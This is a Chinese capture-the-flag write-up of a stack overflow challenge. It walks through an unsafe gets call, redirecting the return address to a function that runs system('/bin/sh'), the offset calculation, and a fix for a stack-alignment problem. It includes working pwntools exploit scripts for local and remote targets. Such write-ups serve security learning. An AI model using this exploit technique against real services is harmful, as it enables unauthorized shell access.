1、下载附件后,运行是一个输入程序,IDA分析main函数,gets可溢出。
F5伪代码如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+1h] [rbp-Fh] puts("please input"); gets(&s, argv); puts(&s); puts("ok,bye!!!"); return 0; }
2、在附近还有个fun函数,存在shell入口。
int fun() { return system("/bin/sh"); }
3、checksec查看无保护。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial4、解法思路:只要对gets栈溢出,并修改函数ret的指针至fun函数即可。 5、在main函数下断点,单步执行,在到gets函数之前,记录栈顶和栈底地址。 rbp:0x7fffffffe7a0 rsp:0x7fffffffe790 参数起始位置:0x7fffffffe791
6、单步执行运行,输入任意字符,执行完函数。ret位置在0x7fffffffe7a8,也就是需要替换的return address位置。
7、所以这里的offset填充值=ret的位置-第一个参数开始位 0x7fffffffe7a8-0x7fffffffe791 也就是23个字节 手工尝试填充23*"A",观察栈填充情况,一直写覆盖原栈底值
8、在IDA中找到fun函数的开始位置:0x401186。这个值用来替换栈中原本的内容0x7ffff7e15d0a
9、写exp
from pwn import * r = process('./pwn1') offset = 0x7fffffffe7a8-0x7fffffffe791 fun = 0x0000000000401186 r.sendline('a'*offset+p64(fun).decode("iso-8859-1")) r.interactive()
在本地可以执行,但是目标替换为远端就不行了
10、看到远端环境是ubuntu18.04,试过本地使用ubuntu18.04也不行。 11、在18.04执行exp后断点分析,最后停留语句在 movaps XMMWORD PTR [rsp+0x40],xmm0 12、movaps会判断是否16字节对齐,这里判断的rsp+0x40指针地址,差8字节对齐。 最后查询glibc版本2.27的system会有这样的判断,可以看到ubuntu18.04中glibc版本在401186位置压入的rbp,只做堆栈保留,不影响对shell执行。所以这里可以跳过这次压栈,减掉后面栈中的8字节之差。 所以可以跳过rbp压栈或栈顶提升,直接在401187和40118A执行都可以 13、所以exp应该是这样
from pwn import *
r = remote("X.X.X.X",29395)
offset = 0x7fffffffe7a8-0x7fffffffe791 fun = 0x0000000000401187 r.sendline('a'*offset+p64(fun).decode("iso-8859-1")) r.interactive()14、远端执行成功拿到flag